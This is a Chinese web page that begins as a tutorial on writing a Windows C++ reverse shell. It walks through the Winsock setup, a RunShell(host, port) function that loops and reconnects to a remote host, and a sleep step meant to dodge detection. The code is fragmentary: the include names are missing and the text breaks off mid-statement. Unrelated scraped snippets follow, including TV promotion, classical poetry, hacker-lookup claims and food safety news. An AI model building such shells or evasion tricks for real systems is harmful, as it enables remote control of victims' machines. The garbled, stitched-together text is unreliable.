渗透不会反弹shell?来教你写一个cmd的shell
包含的库:
#include
#include
#include
#include
#include
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
winsock2和ws2tcpip两个库文件是用来初始化 *** 套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。
我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip。
int RunShell(char *host, int port){
}
int main(int argc, char** argv) {
}
其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的之一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。
下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:
基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。具体的用法,可以查看微软官方的文档:
我们继续,接下来我们来编写我们的接收函数,并进行处理。
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));//将RecvData清0
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据
if (RecvCode
等了一年的《歌手》终于再度回归,这一季的阵容相信各人都有听闻你心中的冠军之选是谁呢?但于我最体贴的是《歌手》的宣传文案,用心且燃的文案,超赞的视觉转达,歌手本年的文案依旧很棒~ #歌手#观念片首发 为...
李清照的《如梦令》有两首哦(并且第二首是苏教版小学六年级的课文。。。)1,如梦令 昨夜雨疏风骤,浓睡不用残酒。试问卷帘人,却道“海棠依旧”。知否?知否?。 李清照《如梦令·昨夜雨疏风骤》赏析...
网络黑客教你查寻别人信息内容,而且不许他人了解,怎样恢复微信上被误删的微信聊天记录?在信息化时代的时期,数据信息的价钱愈来愈遭受凝视着,客户也愈来愈凝...
The password for the next level is stored in the file data.txt in one of the few human-readable stri...
8月21日,由国家市场监管总局官网发布消息,本月所抽检的238批次婴幼儿配方食品结果均为合格。此项消息一出,国民消费者对民族乳企信心大大增强。从本次抽检名单可以看到,以飞鹤、羊羊100在内的99家乳企...
黑客可以查到关机的小米手机嘛 不能。因为只能等对方开机使用移动数据或WiFi连接网络了,才能查找到手机大致的位置。最新的MIUI为了手机的安全,清除数据、刷机都要输入小米账号密码,使得非法获取手机的人...